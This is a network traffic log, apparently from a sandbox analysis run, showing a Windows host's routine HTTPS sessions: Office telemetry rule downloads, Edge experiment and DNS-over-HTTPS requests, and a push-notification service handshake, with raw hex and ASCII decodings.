2024-11-20 17:57:36 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:38 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:38 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175738Z-r1d97b995778dpcthC1TEB4b54000000090g00000000nqnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:39 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:38 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:38 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175738Z-r1d97b9957789nh9hC1TEBxha800000009c00000000074pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:38 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:38 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175738Z-1777c6cb754j47wfhC1TEB5wrw00000005p000000000wgvw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:39 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:38 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:38 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175738Z-1777c6cb7544n7p6hC1TEByvb40000000a0g00000000n8nb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:39 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:38 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175738Z-1777c6cb754wcxkwhC1TEB3c6w00000009s000000000x6vv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49789	94.245.104.56	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:38 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:39 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 20 Nov 2024 17:57:38 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=b65d9106bc81838a23d8a3edd144c8dcf94d11cfa7af5eb97996169fda12e5cf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49791	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:40 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 59 6e 73 56 52 59 42 2b 2f 30 75 77 39 48 63 56 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 34 66 36 35 31 65 33 36 62 30 39 31 66 31 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: YnsVRYB+/0uw9HcV.1Context: c4f651e36b091f1e
2024-11-20 17:57:40 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 17:57:40 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 59 6e 73 56 52 59 42 2b 2f 30 75 77 39 48 63 56 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 34 66 36 35 31 65 33 36 62 30 39 31 66 31 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 6d 51 6c 47 64 56 47 6b 50 30 42 57 4a 74 6f 63 35 47 50 30 72 54 65 44 42 4d 59 61 76 51 51 47 66 42 5a 49 39 43 6b 72 7a 70 70 73 69 68 6c 48 66 51 70 59 57 71 78 4d 73 6d 76 6d 65 32 43 70 39 54 6a 56 70 54 30 59 47 73 79 51 69 46 52 61 72 56 44 46 56 58 68 6c 30 64 71 6f 31 6f 4a 57 2f 55 54 50 76 4f 37 6b 38 30 44 38 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: YnsVRYB+/0uw9HcV.2Context: c4f651e36b091f1e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfmQlGdVGkP0BWJtoc5GP0rTeDBMYavQQGfBZI9CkrzppsihlHfQpYWqxMsmvme2Cp9TjVpT0YGsyQiFRarVDFVXhl0dqo1oJW/UTPvO7k80D8
2024-11-20 17:57:40 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 59 6e 73 56 52 59 42 2b 2f 30 75 77 39 48 63 56 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 34 66 36 35 31 65 33 36 62 30 39 31 66 31 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: YnsVRYB+/0uw9HcV.3Context: c4f651e36b091f1e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-20 17:57:40 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 17:57:40 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 65 50 56 36 51 51 4a 6a 49 30 71 53 5a 34 55 73 41 38 4b 74 6e 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ePV6QQJjI0qSZ4UsA8Ktnw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49809	162.159.61.3	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 17:57:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 17:57:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 17:57:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5a52e6984c7ca5-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 17:57:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49806	162.159.61.3	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 17:57:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 17:57:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 17:57:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5a52e6ba4a4257-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 17:57:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 17 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49807	172.64.41.3	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 17:57:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-20 17:57:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 20 Nov 2024 17:57:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5a52e6b9614276-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 17:57:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$PC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:41 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:41 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2db17697-001e-0017-3001-3b0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175741Z-r1d97b99577xdmfxhC1TEBqbhg00000000t000000000k657 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
